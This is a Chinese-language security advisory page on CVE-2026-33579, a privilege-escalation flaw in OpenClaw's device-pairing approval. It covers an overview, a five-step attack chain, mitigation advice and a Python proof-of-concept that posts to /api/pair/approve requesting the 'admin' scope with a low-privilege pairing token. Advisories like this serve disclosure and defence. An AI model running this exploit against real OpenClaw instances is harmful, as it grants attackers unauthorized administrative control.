IPBUF安全漏洞报告
English
CVE-2026-33579 CVSS 9.9 严重

CVE-2026-33579 OpenClaw权限提升漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-33579
漏洞类型
权限提升
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限提升OpenClawCVE-2026-33579逻辑漏洞0day

漏洞概述

OpenClaw 在 2026.3.28 之前的版本中存在严重的权限提升漏洞。该漏洞源于设备配对批准命令路径未能将调用者的权限范围正确传递到核心审批检查机制中。具体而言,一个仅拥有配对权限但缺乏管理员权限的攻击者,可以利用 `extensions/device-pair/index.ts` 和 `src/infra/device-pairing.ts` 中缺失的权限范围验证逻辑。通过构造恶意的请求,攻击者能够批准包含管理员访问权限等更广泛权限的待处理设备请求,从而在未经授权的情况下提升权限并获得对系统的完全控制。

技术细节

该漏洞的核心在于 OpenClaw 处理设备配对审批流程时的逻辑缺陷。在正常的安全模型中,审批设备请求的操作应当验证调用者是否具备申请权限范围内的所有权限。然而,受影响的代码在处理 `/pair approve` 接口时,存在权限校验绕过问题。系统未将当前调用者的 Scope(权限范围)参数传递给后端的校验逻辑,导致 `src/infra/device-pairing.ts` 中的检查机制失效。攻击者只需持有一个有效的配对权限令牌,即可向 `/pair approve` 端点发送请求,为待配对的设备指定包括“admin”在内的任意高权限 Scope。由于系统未对比调用者自身权限与请求审批的权限,该请求被成功处理,导致设备以管理员身份接入系统,实现权限提升。

攻击链分析

STEP 1
1. 获取初始访问
攻击者获取一个具有配对权限的低权限账户凭证或令牌。
STEP 2
2. 识别目标设备
攻击者寻找系统中处于待处理状态的设备请求,或者诱导用户发起设备配对请求。
STEP 3
3. 构造恶意请求
攻击者利用 `/pair approve` 接口,在请求体中将待处理设备的权限范围设定为 'admin' 或其他高权限。
STEP 4
4. 绕过权限验证
由于后端 `src/infra/device-pairing.ts` 未校验调用者权限,系统接受了该高权限审批请求。
STEP 5
5. 权限提升
设备以管理员权限完成配对,攻击者通过该设备获得系统的最高控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-33579: OpenClaw Privilege Escalation # Target: OpenClaw < 2026.3.28 TARGET_URL = "http://vulnerable-openclaw-instance/api/pair/approve" ATTACKER_TOKEN = "VALID_PAIRING_SCOPE_TOKEN_HERE" DEVICE_ID = "TARGET_PENDING_DEVICE_ID" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # The payload requests 'admin' scope which the attacker does not possess payload = { "device_id": DEVICE_ID, "requested_scope": ["admin", "read", "write", "execute"] } try: print(f"[*] Attempting to approve device {DEVICE_ID} with escalated privileges...") response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Device approved with Admin scope.") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(f"[-] Details: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

OpenClaw < 2026.3.28

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用自动设备配对功能,并要求所有设备配对必须由具有管理员权限的人员通过后端数据库手动审核。同时,管理员应检查系统日志,查找是否已存在非管理员账户批准高权限设备的记录,以确认系统是否已被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表